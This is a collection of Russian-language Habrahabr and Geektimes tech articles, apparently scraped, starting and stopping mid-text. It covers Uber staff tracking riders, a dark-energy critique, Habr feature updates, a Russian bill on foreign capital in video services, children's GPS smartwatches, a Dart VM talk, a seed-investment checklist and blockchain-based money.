позволяет многофункциональное устройство, например DPI (Deep Packet Inspection) и Carrier-Grade NAT. Такие решения априори рассчитаны на работу с огромными нагрузками при анализе трафика, поэтому легко справятся с трансляцией адресов (функция NAT).
https://habrahabr.ru/company/vasexperts/blog/316272/
habrahabr
Сотрудники Uber использовали «режим Бога» для слежки за бывшими
['Uber', 'слежка', 'GPS', 'мобильное приложение', 'режим Бога']
После последнего обновления мобильное приложение Uber начало отслеживать координаты пользователя не только при запуске приложения, но и после поездки (функция Trip Related Location Data)....
После последнего обновления мобильное приложение Uber начало отслеживать координаты пользователя не только при запуске приложения, но и после поездки (функция Trip Related Location Data ). Координаты отслеживаются ещё 5 минут после выхода из такси, приложение работает в фоновом процессе. Разумеется, это сделано для удобства пользователей, чтобы улучшить качество обслуживания. Теперь Uber знает не только куда вы приехали, но и куда вы направились после выхода из такси. Даже без этого нового функционала платформа Uber и ей подобные сервисы представляют собой мощную систему тотальной слежки за горожанами, ведь оно привязывается к банковской карте и точно идентифицирует каждого пассажира. Как стало известно, некоторые сотрудники Uber постоянно занимались «халтуркой» — отслеживали поездки обычных граждан, в том числе бывших супругов, знакомых девушек и парней. Возможно, заказы на получение такой информации принимались даже со стороны — от друзей и знакомых. Кроме ревнивцев, сотрудники Uber отслеживали поездки на такси некоторых знаменитостей, в том числе R&B-певицы Бейонсе. Воозможно, они делали это не из коммерческой выгоды, а из простого любопытства. Почему бы нет, если они имеют доступ к этой информации. О такой практике внутри Uber стало известно из письменного судебного заявления Сэмюэля Шпангенберга (Samuel Ward Spangenberg), которые он дал в октябре этого года, подписавшись под уведомлением об ответственностью за дачу ложных показаний. Ранее Шпангенберг был в штате Uber и занимался внутренними проверками. Сейчас он судится с бывшим работодателем. Показания Шпангенберга «Отсутствие безопасности пользовательских данных привело к тому, что сотрудники компании получили возможность отслеживать высокопоставленных политиков, знаменитостей и даже личных знакомых сотрудников, в том числе бывших девушек/парней и бывших супругов», — указал Сэмюэль Шпангенберг в письменном заявлении. Ещё два года назад ходили слухи о том, что руководство Uber использует некий «режим Бога», чтобы отслеживать любого пассажира такси. С тех пор компания неизменно опровергала эту информацию и убеждала пользователей, что максимально заботится о них и защищает персональную информацию. Компания якобы усилила защиту, так что сотрудникам запрещено получать доступ к базе, за исключением редких случаев. Теперь же появились прямые доказательства, что своеобразный «режим Бога» был доступен не только для руководства, но и для рядового персонала. Журналисты из центра независимых расследований Reveal получили показания , от пяти бывших сотрудников отдела безопасности Uber о том, что компания не прекратила подобную практику даже после скандала двухлетней давности. По словам бывших безопасников Uber, тысячи рядовых сотрудников Uber могли получить сведения о том, где и когда конкретные пассажиры заказывали такси и куда ехали. Сотрудникам также доступна информация о номерах социального страхования и другая персональная информация о водителях Uber. Шпангенберг заявил ещё, что компания намеренно уничтожала документы, которые обязана хранить по закону. Такое делалось перед государственными проверками зарубежных офисов Uber. На компьютерах в офисах файлы зашифровывались в удалённом режиме перед проверками. Шпангенберг утверждает, что предупреждал руководство о незаконности этих действий, а через 11 месяцев его уволили. Компания Uber в официальном заявлении для суда опровергла обвинения в недостаточной защите пользовательских данных и незаконной практике в процессе документооборота. Она заявила, что уволила нескольких сотрудников (менее 10 человек) за незаконный доступ к приватной информации о пассажирах. Последнее обновление приложения Uber с функцией Trip Related Location Data повышает удобство пассажиров, которым «нечего скрывать», но вызвало озабоченность правозащитников, тем более что к компании Uber и раньше были претензии. Фонд электронных рубежей даже отправлял жалобу в Федеральную торговую комиссию. Как показывает практика, централизованный сбор и хранение приватной информации всегда создаёт почву для злоупотреблений. Жертвами могут стать совершенно невинные люди, которым якобы «нечего скрывать» от государства. Помните, как сотрудники АНБ разглядывали интимные фотографии голых девчонок в случайно перехваченном трафике? Сейчас вот стало известно о злоупотреблениях со стороны рядовых сотрудников Uber. Если есть центральная база с приватной информацией — злоумышленники обязательно найдут способ, как получить к ней доступ. Они могут сделать это с помощью социальной инженерии — через подкуп сотрудников Uber, даже через романтические отношения с ними (знаменитый хакер Кевин Митник даже женился на администраторе из телефонной компании GTE, говорят, чтобы получить доступ в систему, ведь раньше толстый и неуклюжий хакер не проявлял интереса к женщинам). Государственным спецслужбам получить доступ в систему ещё проще — они могут злоупотреблять властью, создавая видимость действий в рамках правового поля. Так что подумайте ещё раз, прежде чем включать функцию сбора геоданных в мобильном телефоне. У компании Uber более 40 миллионов пользователей в 60 странах , в том числе в России, Украине и Беларуси. Ежедневно такси Uber перевозят более 8 миллионов пассажиров.
https://geektimes.ru/post/283632/
habrahabr
Тёмная энергия и тёмный поток – как всё это объяснить?
['тёмная энергия', 'тёмный поток', 'вселенная']
Всматриваясь в этот мрак, я долгое время стоял, изумленный, полный страха и сомнения, грезя такими грезами, какими не дерзал ни один смертный — Эдгар Аллан По В 2011 году нобелевская премия...
Всматриваясь в этот мрак, я долгое время стоял, изумленный, полный страха и сомнения, грезя такими грезами, какими не дерзал ни один смертный — Эдгар Аллан По В 2011 году нобелевская премия по физике была присуждена троим учёным за открытие ускоренного расширения Вселенной. Каков физический смысл этого явления? Если бы во Вселенной случилось некое изначальное расширение, сопровождаемое всеобщим гравитационным притягиванием, можно было бы ожидать, что чем дальше от вас удалялся объект, тем меньше становилась бы его скорость убегания. При достаточном количестве материи расширение должно было проиграть гравитации, и все объекты, удаляющиеся от нас сегодня, поменяли бы своё направление движения и начали бы двигаться в нашу сторону. А если бы её не было достаточно, то победило бы расширение, и удаляющиеся объекты замедлялись бы, но всё равно продолжали бы убегать от нас целую вечность. Но если расширение ускоряется, то всё становится немного сложнее. Вместо трёх изображённых на графике случаев ускорения (когда Ω > 0, и скорость убегания любой галактики со временем уменьшается), или даже в случае пустой Вселенной (Ω = 0, и скорость убегания остаётся постоянной), во Вселенной с ускоряющимся расширением скорость убегания галактик со временем растёт! До 1990-х предполагалось, что расширение Вселенной замедляется, и что для понимания как истории, так и судьбы Вселенной, необходимо было сделать два важных измерения. Первое – H o , значение постоянной Хаббла на сегодня. Если галактика находится на определённом расстоянии от нас, она должна убегать от нас с определённой скоростью, определяемой законом Хаббла . Для сравнительно близких объектов (галактик, находящихся не далее, чем в миллиарде световых лет от нас), ускоряющаяся, замедляющаяся или пустая Вселенная выглядят одинаково. Второе важное измерение, q o , параметр замедления , говорит нам о том, ускоряется или замедляется Вселенная, и он очень чувствителен по отношению к движению удалённых объектов. На картинке выше у самой нижней линии q o = +½, у средней q o ≈ +0,1, а у верхней – лучше всех соответствующей положению дел в реальной Вселенной – q o ≈ -0,6. Обычно я предпочитаю не упоминать точных значений, но это важно, поэтому просто запомните, что лучше всего к нашей Вселенной подходит параметр q o ≈ -0,6. Отрицательное значение говорит о том, что Вселенная не замедляется, а ускоряет своё расширение! И мы узнали об этом, наблюдая за этими яркими, хорошо известными объектами, заметными на больших расстояниях: сверхновыми! В прошлом было сделано много попыток объяснить наблюдения чем-то другим вместо ускоренного расширения, и я написал много статей, подробно описывающих то, как они провалились. Но недавно появилась новая идея, получившая некоторую огласку: нечто под названием «тёмный поток» может приводить к видимости ускоренного расширения! Космолог Кристос Цагас [Christos Tsagas] завершил работу , продолжающую одну из предыдущих работ , подмечающую кое-что очень хитрое. Закон Хаббла – отношение между видимой скоростью убегания объекта и расстоянием до него – в среднем выполняется, но плохо предсказывает скорость какого-то конкретного объекта. Каждый объект, будучи захваченным всеобщим расширением Вселенной, также подвергается локальной гравитации, добавляющей дополнительное движение поверх хаббловского расширения, известное, как пекулярная скорость . Неудивительно, что мы это не только наблюдаем, но и получаем в предсказаниях различных симуляций. Многократно измерено, что относительно однородной температурной поверхности реликтового излучения наша галактика имеет пекулярную скорость в 627 км/с, что довольно много: 2,3 млн км в час! (M дипольная анизотропия ). Этот диполь не точно описывает нашу пекулярную скорость. Они должны быть связаны, но поскольку Земля вращается вокруг Солнца, Солнце – вокруг Галактики, а на Галактику действуют все остальные галактики, это пекулярное движение со временем меняется. Мы подсчитали пекулярные скорости множества объектов по соседству с нами. И мы обнаружили, что не только многие из них группируются в небольшие, совместно движущиеся группы, но и такое совместное нехаотичное движение, названное тёмным потоком , существует и на масштабах в сотни миллионов световых лет! И тут появляется Цагас со своей хитроумной идеей. Он обнаружил, что если вы двигаетесь относительно покоящегося реликтового излучения, это относительное движение приводит к тому, что в вашем местном регионе космоса скорость расширения отличается от общей скорости расширения Вселенной! Этот эффект сильнее всего сказывается на близлежащей Вселенной, поскольку при переходе на всё большие масштабы ваша пекулярная скорость, будь она хоть тысячи километров в секунду, в итоге окажется пренебрежимо малой по сравнению с хаббловским расширением. Теперь вспомним, что лучше всего к данным подходит модель с параметром замедления q o ≈ -0,6, хотя в самые ранние времена – когда тёмная материя не имела решающего значения – во Вселенной доминировала материя, и величина параметра замедления составляла q o ≈ +½. Главный вопрос в том, может ли модель Цагаса объяснить космологические данные по сверхновым, которые объясняет тёмная энергия. И в его пользу можно отнести то, что он честно освещает свои результаты и то, как они ведут себя по сравнению с общепринятой космологией. Ответ: не может. Его модель выдаёт параметр замедления не менее q o ≈ -0,3. И этот параметр довольно быстро стремится к нулю, и затем становится небольшим и положительным (но гораздо меньшим, чем q o ≈ +½, предсказанным стандартной моделью ΛCDM ) до z = 0,3. И мне кажется, что это будет большой проблемой на промежуточных красных смещениях, которые лучше всего поддерживают модель тёмной энергии. Я взял лучшие из доступных данных по сверхновым, несколько моделей, включая тёмную энергию, пустую вселенную и другие ( с сайта Неда Райта ), и попытался сопоставить их с моими расчётами по модели Цагаса. Выставляю отличные оценки модели Цагаса за выраженный, хотя и недостаточный, ранний подъём кривой, ведь она достигает этого безо всякой тёмной энергии или полей отрицательного давления! Но низкая плотность игрушечной вселенной Цагаса даёт предсказания, слишком близкие к «пустой вселенной», модели, не соответствующей сверхновым промежуточного красного смещения. Так что это забавная игрушка, и её возможность выдавать положительное ускорение впечатляет, но вряд ли она заменит тёмную энергию. Но мне всегда интересно изучать альтернативы, и каждый раз после этого я ещё больше убеждаюсь в том, каким впечатляющим выглядит подтверждение теории тёмной энергии!
https://geektimes.ru/post/283636/
habrahabr
Расширение функциональности мобильной версии и прочие изменения на Хабре и Гиктаймс
['Хабрахабр', 'обратная связь', 'вы все молодцы']
Мы всегда старались, стараемся и будем стараться уделять внимание той обратной связи, которую дают наши пользователи касаемо наших продуктов. Правда, это случается не так часто — обычно это...
Мы всегда старались, стараемся и будем стараться уделять внимание той обратной связи, которую дают наши пользователи касаемо наших продуктов. Правда, это случается не так часто — обычно это «штучные» идеи, присланные через форму обратной связи. Но не так давно пользователь limonte создал публикацию «Дорогой Хабр, я хочу чтобы ты лучше слышал своих юзернеймов», в которой призвал всех хабраюзеров принять участие в коллективном набрасывании идей по улучшению Хабра. Не могли пройти мимо этой публикации, поэтому под катом делимся первыми результатами взаимодействия.   Мобильная версия Первые несколько изменений коснулись мобильной версии Хабра и Гиктаймс. Изначально мы планировали оставить её как «читалку», но с ростом доли мобильных пользователей стало понятно, что нужно добавлять возможность взаимодействия с контентом. Похоже, ещё чуть-чуть и мобильная версия догонит по функциям десктопную версию, а пока в ней появились возможности: Голосовать за публикации; Голосовать за комментарии; Добавлять комментариев к публикациям. Изменения в редакторе публикаций Появился новый тег, который очень серьезно может прокачать ваши посты. Речь про универсальный тег oembed, в который можно вставить как видео с YouTube и Vimeo, так и любой сторонний кастомный код — например, вставки с Сodepen, JSfidle и прочих ресурсов (всего более 1800). Пример кода: <oembed>http://jsfiddle.net/cvun8xv5/</oembed> Результат: Ну или даже так (для примера): На странице создания и редактирования публикаций изменена механика предпросмотра – теперь там есть 2 режима: — быстрый предпросмотр – находится в соседнем табе и показывает только текст статьи; — полный предпросмотр – открывает полную версию статьи с заголовком, хабами и тегами. Прочие изменения Read&Comment-аккаунты получили возможность комментировать публикации, которым не больше 10 дней (ранее это ограничение составляло 3 дня); Снято ограничение по использованию html-тегов в комментариях – теперь все  пользователи (в том числе и с минусовой кармой) могут использовать теги в комментариях; Убраны кастомные хоткеи для переключения пагинации на страницах лент («Alt + ←» и «Alt + →»); Новые хабы, как на Хабре ( Elixir/Phoenix , Разработка под AR и VR и другие) так и на Geektimes (например, Урбанизм ) — зайдите в раздел «Хабы» на каждом из проектов и обновите свою тематическую подписку, наверняка найдёте что-то новое. Там же вы можете предложить новые хабы; Мегапосты теперь доступны для просмотра в мобильном приложении. Помимо внесённых изменений в мобильную версию у нас есть большие планы по её обновлению, которые сейчас активно обсуждаются внутри компании; возможно, через некоторое время мы полностью обновим её. Благодарим всех, кто принял участие, создавал тикеты, голосовал за них и высказывал мнение в комментариях. Всех плюсанули в карму. P.S.: Обращаем ваше внимание, что вышеупомянутый репозиторий не является официальным средством сбора обратной связи. Для ваших пожеланий и сообщений об ошибках по-прежнему работает форма обратной связи . Всем спасибо, пишите нам ещё!
https://habrahabr.ru/company/tm/blog/317490/
habrahabr
Эксперты высказались против законопроекта об ограничении доли иностранного капитала в аудиовизуальных сервисах
['Регулирование', 'аудиовизуальные сервисы', 'МКС', 'медиа-коммуникационный союз', 'финансы', 'законы']
Правительственные эксперты высказались против внесенного на рассмотрение в Госдуму законопроекта об ограничении доли иностранного капитала в аудиовизуальных сервисах, сообщает «Коммерсантъ»....
Правительственные эксперты высказались против внесенного на рассмотрение в Госдуму законопроекта об ограничении доли иностранного капитала в аудиовизуальных сервисах, сообщает «Коммерсантъ» . Напомним, в конце октября стало известно , что Медиа-коммуникационный союз (МКС), в который входят такие компании как «Газпром Медиа», «СТС Медиа» и операторы связи «МТС», «Мегафон» и «Вымпелком», заявил о внесении на рассмотрение в Госдуму законопроекта о регулировании аудиовизуальных сервисов, в частности, онлайн-кинотеатров. Позже в ходе обсуждения текста законопроекта выдвигались мнения, что он может вынудить уйти из России такие крупные иностранные сервисы как YouTube. Согласно тексту законопроекта, иностранные сервисы для легального продолжения своей деятельности будут вынуждены сократить свою долю до 20%, остальные же 80% — продать российским компаниям до 1 июля 2017 года. При этом указывается, что требование не распространяется на сервисы, где преимущественно размещается пользовательский контент. В тексте документа говорится, что транснациональным компаниям придется выделить российский сегмент своего бизнеса, а после сократить свою долю в нем до 20%. В заключении экспертов указывается, что эти компании просто свернут свою деятельность на территории РФ вместо того, чтобы выполнять указанные требования. Эксперты отмечают, что под аудиовизуальные сервисы подпадают такие ресурсы как «Кино Mail.ru», «Игры Mail.Ru», «Яндекс.Музыка», «Яндекс.Видео», Google Play, AppStore, iTunes и сервис стриминга игр Twitch. Почему последний подпадает под аудиовизуальные сервисы, тогда как большинство стримов являются пользовательским контентом, при этом не уточняется. Представители МКС занимают всего 12% аудиовизуального рынка. Еще 70% приходится на долю онлайн-кинотеатров различных размеров, а 7% — на платформы цифровой дистрибуции. Специалисты J`son & Partners Consulting, которые и привели вышеизложенные цифры, считают, что законопроект направлен на монополизацию рынка участниками, имеющими меньшую долю. При этом предлагаемый ими контент на 90-95% перекрывается другими представителями сферы, а модели монетизации не отличаются. Сами же операторы, входящие в МКС, как и подконтрольные им сервисы, выведены из-под действия поправок как имеющие стратегическое значение для обороны и безопасности государства. В МКС отрицают стремлением монополизировать рынок и говорят о защите отечественных аудиовизуальных онлайн сервисов. «Поправки обеспечивают защиту не только информационную, но и экономическую, устанавливают равные правила работы в России как для российских, так и для иностранных компаний, не имеющих на территории РФ зарегистрированных представительств, но извлекающих прибыль за счет российских пользователей», — приводит слова представителя МКС «Коммерсантъ». Из крупных онлайн-кинотеатров под действие поправок подпадают в первую очередь Ivi.ru и Megogo, имеющие кипрскую прописку. Прочие аудиовизуальные сервисы имеют недостаточную посещаемость или принадлежат россиянам и зарегистрированы на территории РФ. Необходимо отметить, что на долю Ivi.ru и Megogo приходится серьезная часть российского рынка онлайн кино. По информации РБК , по итогам 2015 года выручка Ivi.ru превысила 1 млрд рублей, а аудитория сервиса насчитывала 26,8 млн пользователей. Выручка Megogo за 2015 год составила 419,4 млн рублей, а российская аудитория — 17,2 млн пользователей (при общем числе в 40 млн). По итогам 2015 года аналитика называли рынок аудиовизуальных сервисов быстрорастущим и весьма перспективным направлением как при использовании рекламной модели, так и при продаже платного контента и подписки.
https://geektimes.ru/post/283640/
habrahabr
Умные часы, которые могут оказаться полезными как для детей, так и для их родителей
['детские гаджеты', 'умные часы', 'gps-трекер']
Разного рода умных устройств сейчас очень много. Разнообразие тех же «smart-часов» просто зашкаливает. Европейские, американские, китайские производители (ох уж эти китайцы) каждую неделю...
Разного рода умных устройств сейчас очень много. Разнообразие тех же «smart-часов» просто зашкаливает. Европейские, американские, китайские производители (ох уж эти китайцы) каждую неделю представляют какую-то новинку. Взрослые люди, которые не чуждаются техники и у которых есть дети, иногда задумываются над тем, чтобы приобрести своему ребенку подобный гаджет. И не только ради развлечения, вовсе нет. Все дело в том, что умные часы могут быть полезны для детей, предоставляя им мультимедийные функции, программы для обучения и возможность связаться с родителями. Устройство помогает ребенку освоиться в мире цифровой техники. Родителям эти гаджеты тоже нужны, поскольку многие умные детские часы работают и как GPS-трекер, что позволяет всегда быть в курсе, где сейчас ребенок. Плюс ко всему, детские часы зачастую оснащаются тревожной кнопкой, которая отправляет сигнал SOS на заранее прописанные номера и адреса электронной почты, если ребенок попал в беду. Elari Fixitime 2 Возрастная группа: от 4 до 12 лет Это уже вторая версия умных часов Fixitime для детей. Набор функций можно назвать стандартным. Это кнопка SOS, функция трекинга в режиме реального времени и двухсторонняя голосовая связь. Есть здесь несколько голосовых модулей, включая GPS/A-GPS/LBS/WiFi. Кроме того, разработчики оснастили девайс цветным сенсорным экраном с диагональю в 1 дюйм и добавили мультимедийные функции. Устройство защищено от пыли и воды по стандарту IPX5, это весьма важный фактор для детских часов (если вы понимаете, о чем мы :)). Плюсами часов являются не только возможность связаться с родителями или цветной дисплей. Здесь есть встроенный будильник, динамик, микрофон, акселерометр и шагомер. Так что ребенок и его родители всегда будут знать, насколько активно чадо провело свой день. При желании ребенок может отправлять сообщения и эмодзи. Цена Elari Fixitime 2 меньше, чем стоимость средней руки смартфона. А вероятность того, что ребенок часы потеряет, гораздо ниже, чем вероятность утери смартфона. Tinitell Watch Возрастная группа: от 5 и выше А вот основная функция Tinitell Watch — обеспечить связь между детьми и родителями. Среди прочих функций этого устройства — голосовые вызовы по мобильной связи. При настройке часов родители задают несколько основных номеров, по которым и можно звонить. Кроме того, взрослые могут позвонить со смартфона на часы в случае необходимости. Есть здесь GPS-модуль, позволяющий родителям видеть, где находится их чадо, причем в режиме реального времени. Слушаются часики и голосовых вызовов. Ребенку достаточно сказать «позвонить маме», и умный девайс тут же начнет набирать номер. На передней панели устройства размещена кнопка, позволяющая выключить или включить часы. Есть и две кнопки регулировки громкости, при помощи которых можно увеличивать или уменьшать громкость. Tinitell Watch защищены по стандарту IP57, что означает, что они не боятся ни воды, ни пыли. Часы работают около 7 дней в режиме ожидания или же в течение часа в режиме разговора. Kigo Watch Возрастная группа: все возрасты Разработчики утверждают, что эти часы подходят всем возрастным группам детей — от малышей до подростков. Дизайн устройства можно отнести к категории унисекс, так что Kigo Watch можно рекомендовать родителям как мальчиков, так и девочек. У гаджета есть GSM и GPS модули, которые позволяют взрослым отслеживать местоположение детей в режиме реального времени. Координаты передаются как снаружи здания (благодаря GPS-модулю), так и внутри (благодаря GPS-модулю). Разработчики утверждают, что часы оснащаются универсальной SIM-картой, которая может использоваться в любой стране. Международная связь осуществляется благодаря партнерству производителей часов с мобильным оператором Vodafone. Так что получить информацию о местонахождении ребенка можно будет даже в том случае, если он находится за границей (отдых, обучение и т.п.). Данные с Kigo Watch передаются на мобильное устройство (смартфон или планшет) родителей. Приложение бесплатно, есть версия как для Android, так и для iPhone. Часы защищены от воздействия воды по стандарту IPX8, что означает возможность «долгосрочного погружения устройства под воду». То есть в часах можно купаться, не снимая их. Режим тревоги активируется в том случае, если ребенок удерживает кнопку более 3 секунд. При активации этого режима часы отсылают сообщение всему списку заранее заданных номеров. Есть и система обнаружения снятия часов, которая предупредит родителей ребенка, если часы уже не на руке. Alcatel OneTouch CareTime Возрастная группа: от 5 до 9 лет Компания Alcatel представила собственные умные часы для детей, которые могут служить как развлечением, так и средством связи. Alcatel OneTouch CareTime оснащены тревожной кнопкой, нажатие на которую запускает вызов или отправку смс. Также устройство оснащено GPS и LBS-модулями, благодаря чему гаджет покажет местоположение ребенка в режиме реального времени. Часики можно использовать в качестве телефона. В контактной книге может быть 5 номеров, так что ребенок при помощи часов получает возможность связаться с родителями, друзьями или даже с учителем (почему нет?). В настройках часов можно задать определенные границы, при пересечении которых родители получат сообщение о том, что ребенок ушел дальше, чем нужно. Купить Alcatel OneTouch CareTime можно у нас, правда, пока что доступен только предзаказ. The LG KizON и GizmoPal 2 Возрастная группа: от 4 лет Компания LG уже давно выпускает умные часы, но для взрослых. Не так давно руководство компании приняло решение выпустить и устройство для детей. Так и появились The LG KizON. Это часики для малышей, а не для почти подростков, так что не стоит ожидать от них слишком многого. Основная функция устройства — это связь. Так, в The LG KizON есть модуль GPS и Wi-Fi, благодаря которым можно отслеживать местоположение любимого чада, а также связываться с ним в нужный момент. Дети тоже могут связываться с родителями, нажимая на кнопку, которая дает голосовой вызов на заданный номер. Еще одна модель GizmoPal 2 — это уже более продвинутая модель, с сенсорным экраном и большим количеством функций. Здесь тоже есть функция голосовых вызовов, GPS-модуль, возможность отправки сообщений и эмодзи. Кроме того, разработчики позаботились о наличии таких фитнес-функций, как шагомер и счетчик прыжков. Родители могут отслеживать местоположение детей в режиме реального времени. Отличное решение для тех детей, кому еще рано покупать мобильный телефон, а связь нужна. Caref GPS Phone Watch Возрастная группа: от 4 лет Это устройство тоже может служить надежным средством связи с ребенком. В часы уже интегрирована сим-карта оператора связи с определенным тарифным планом. Родители могут отслеживать местоположение своих детей в режиме реального времени. Часы оснащены OLED-дисплеем с диагональю 0.94″. Если есть такая необходимость, можно позвонить на часы в режиме «тихий вызов». Это позволит послушать, что происходит вокруг ребенка без его ответа на звонок. Как и в ряде предыдущих моделей, здесь есть возможность задавать зону безопасности. При выходе ребенка за предварительно заданные границы часы отправят родителю соответствующее уведомление. Купить Caref GPS Phone Watch можно вместо смартфона, который ребенок рискует потерять. Разработчики предусмотрели несколько цветовых вариантов, включая зеленый, розовый, желтый, голубой, фиолетовый, черный. HereO Возрастная группа: от 3 лет Название модели этих часов отражают их сущность. Они созданы для того, чтобы родители могли отслеживать местоположение своих детей. Здесь есть GPS и GSM модули, так что отображение местоположения детишек ведется как по GPS-координатам, так и по координатам сотовых вышек. В часах есть встроенная SIM-карта. К сожалению, возможности осуществления голосовых вызовов здесь нет, GSM-модуль служит исключительно для отслеживания местоположения ребенка. Часики HereO водозащищены, так что можно не бояться, что ребенок их утопит. Есть также функция предупреждения о снятии часов, чего нет в большинстве других подобных устройств. Если ребенок хочет стащить часы с руки, устройство отправляет родителям сообщение. VTech Kidizoom DX Возрастная группа: от 4 до 9 Vtech, вероятно, крупнейшая технологическая компания, которая специализируется на выпуске различных устройств для детей. Это не только интерактивные игрушки, но и планшеты с умными часами. Одна из наиболее продвинутых моделей таких часов — Vtech. Совсем маленьким детям покупать такие часы не стоит, они вряд ли разберутся во всех функциях, которые могут им пригодиться. Что касается возможностей, то они довольно обширны. Среди прочих характеристик часов стоит упомянуть сенсорный 1,4-дюймовый цветной дисплей. Компания предоставляет 20 различных циферблатов для любителей кастомизации. Здесь нет ни GPS, ни двухсторонней связи, это, скорее, средство ознакомления детей с носимыми устройствами. Гаджет мы привели в качестве примера, чтобы показать, что еще, кроме GPS-часов, может предложить детям и родителям рынок носимых устройств. Например, здесь есть камера, при помощи которой можно записывать видео или делать фотографии. Предусмотрен диктофон и три образовательных игры. USB-порт обеспечивает возможность передачи фото и видео на компьютер. Плюс ко всему, часы не боятся брызг воды. Правда, в душ с ними компания идти не рекомендует, но вот дождя они не боятся точно. В часиках есть также календарик и калькулятор, для развлечения можно использовать игры. Так что и для кого брать? Как и говорилось, умных часов на рынке довольно много. Но их функции более-менее похожи. Мы бы рекомендовали приобретать такие гаджеты как для совсем маленьких детей, так и уже для чуть подросших «цветов жизни». Базовые функции устройств для младшего поколения позволят родителям отслеживать местоположение детей. Более продвинутые часы для подросших ребят могут использоваться вместо смартфона, который можно потерять, наручным устройством с аналогичными функциями. Его потерять будет уже гораздо сложнее. Напоминаем, что для всех наших читателей действует промо-код GEEK, дающий 5 процентов скидки на любой товар из магазина Madrobots . Вы можете передавать этот код своим друзьям, знакомым и родственникам — такое только приветствуется!
https://geektimes.ru/company/madrobots/blog/283638/
habrahabr
Особенности реализации виртуальной машины в Dart. JS и Dart глазами компиляторщика
['dart', 'dart vm', 'v8', 'wriketechclub']
Продолжаем публиковать видео с митапа Dart разработчиков, который прошел в офисе Wrike в конце ноября. Сегодня представляем доклад Вячеслава Егорова из Google. Вячеслав — сотрудник Google в...
Продолжаем публиковать видео с митапа Dart разработчиков, который прошел в офисе Wrike в конце ноября. Сегодня представляем доклад Вячеслава Егорова из Google. Вячеслав — сотрудник Google в городе Орхус, Дания, в том самом офисе, где появился на свет V8 JavaScript engine и язык программирования Dart. Компиляторщик до мозга костей, интересующийся всем, что так или иначе связанно с виртуальными машинами. Работал над V8, сейчас работает над Dart VM и иногда чинит баги в LuaJIT. Вместе с ним залезем под капот Dart VM. Первая часть докладов.
https://habrahabr.ru/company/wrike/blog/317074/
habrahabr
Памятка для посевных инвесторов
['посевные инвестиции', 'инвестиции', 'принятие решений', 'списки', 'перевод', 'medium.com']
При инвестировании на посевной стадии, провал можно простить. Но неэффективная схема принятия решения при инвестировании — непростительна. У себя в Upside Partnership, чтобы не упустить какие-либо...
При инвестировании на посевной стадии, провал можно простить. Но неэффективная схема принятия решения при инвестировании — непростительна. У себя в Upside Partnership, чтобы не упустить какие-либо аспекты при заключении сделок, я сверяюсь со списком контрольных вопросов при принятии решения. Чтобы принять положительное решение по проекту, не обязательно положительно ответить на все вопросы. Но все вопросы должны быть заданы. Таким образом мы заранее определяем потенциальные риски и осознаем все «слепые пятна» принятого решения. Мы целенаправленно не придерживаемся скучного перечня показателей, которые компания должна будет достичь для того, чтобы собрать раунд инвестиций. Мы разработали инструмент совмещающий и творческий и рациональный подход. Чтобы принять положительное решение по проекту, не обязательно положительно ответить на все вопросы. Но все вопросы должны быть заданы. Я недавно поделился своим документом с несколькими людьми, стремящимися сделать инвестиции основным направлением своей деятельности, поэтому решил выложить его и здесь. Этот список вопросов не является ни совершенным, ни исчерпывающим. Но он мне помог в ходе развития компании Upside Partnership. Если хотите стать инвестором или научиться разбираться в том, как посевной инвестор принимает решения о вложении денег, ознакомьтесь с приведенными далее пунктами и поделитесь своим мнением. Список вопросов при принятии инвестиционного решения Рынок ☐ Что есть рынок? ☐ Какие изменения на рынке привели к появлению данной возможности? ☐ Что на рынке не изменится и будет препятствовать реализации этой возможности? Продукт ☐ Что представляет из себя продукт? ☐ Продукт первый в своем роде? Он чем-то отличается от представленных на рынке? ☐ Как продукт снизит количество факторов, препятствующих заключению сделки? ☐ Информация о клиентах Команда ☐ Насколько команда подходит поставленным задачам? ☐ Какие у них пробелы? ☐ Кто ключевые сотрудники? ☐ Они способны привлечь нужных специалистов? ☐ Какие уникальные знания они могут предложить другим членам Upside Partnership? ☐ Информация об основателе Риски ☐ Каковы известные риски? ☐ Каковы ключевые риски? ☐ Что может снизить эти риски? ☐ Как можно минимизировать потери? ☐ Риск инвестиций по сравнению с принципиальными рисками проекта Вопросы Upside Partnership ☐ Что может вас убедить, что компания станет одной из 10 самых влиятельных в секторе? ☐ Чего мы не знаем? ☐ Каков показатель RTFE (сумма выходной стоимости, оправдывающая заключение сделки)? Последующие вопросы ☐ Что сейчас известно о факторах, о которых вы не знали при первоначальном вложении средств? ☐ Если бы вы тогда знали то, что известно сейчас, все равно вложили бы деньги в проект? ☐ Почему? ☐ Вы необъективны из-за уже взятых обязательства? Оригинал: A Seed Fund’s Investment Checklist
https://habrahabr.ru/company/gvalg/blog/317500/
habrahabr
Пять форм блокчейн-денег, доступных уже сейчас
['Блокчейн', 'финансы', 'цифровые валюты', 'электронные кошельки', 'фиат', 'платежи', 'Waves']
Вы наверняка слышали о блокчейн — коллективном реестре данных, обеспечивающем работу Биткойн. Однако Биткойн — далеко не единственный пример использования этой технологии, ведь на самом деле она...
Вы наверняка слышали о блокчейн — коллективном реестре данных, обеспечивающем работу Биткойн. Однако Биткойн — далеко не единственный пример использования этой технологии, ведь на самом деле она способна предложить гораздо больше нового как для мира денег, так и для других сфер человеческой деятельности, нежели только Биткойн. В этом материале я расскажу вам о пяти формах денежных средств на базе блокчейн, которые либо уже стали доступны широкому кругу желающих, либо в скором времени станут. По-настоящему анонимные деньги Биткойн ранее часто упоминался в контексте анонимности, благодаря тому, что именно это свойство использовал Silk Road и другие онлайн-рынки торговли наркотиками. В целом Биткойн может быть анонимен, если пользоваться им крайне осторожно. Однако в реальном мире такое свойство блокчейн, как прозрачность, приводит к тому, что транзакции зачастую поддаются отслеживанию. Это плохие новости не только для преступников, но и для всех, у кого есть законные причины сохранять информацию о своих финансах в тайне (то есть, пожалуй, для всех нас). В итоге за последние 2 или 3 года появилась масса криптовалют, предлагающих усиленные меры по защите личной информации. Сейчас Monero и Dash — наиболее популярные из них. Впрочем, немалый ажиотаж вызвало недавнее появление нового поколения «конфиденциальных» валют, основанных на Zcash — высокоэффективном протоколе, применяющем сильные криптографические механизмы для скрытия информации об отправителе, получателе и размере передаваемых средств от посторонних глаз. Одно можно сказать наверняка: неприкосновенность личной финансовой информации едва ли выйдет из моды в обозримом будущем, и мы вскоре станем свидетелями появления еще большего количества продвинутых форм анонимных блокчейн-денег. Фиат на базе блокчейн На другой чаше весов — обычные обеспечиваемые государством фиатные деньги, хорошо известные нам и заслужившие наше доверие, но поставленные на новые современные рельсы блокчейн. Целый ряд платежных онлайн-сервисов уже сейчас изучает возможность повышения эффективности своей 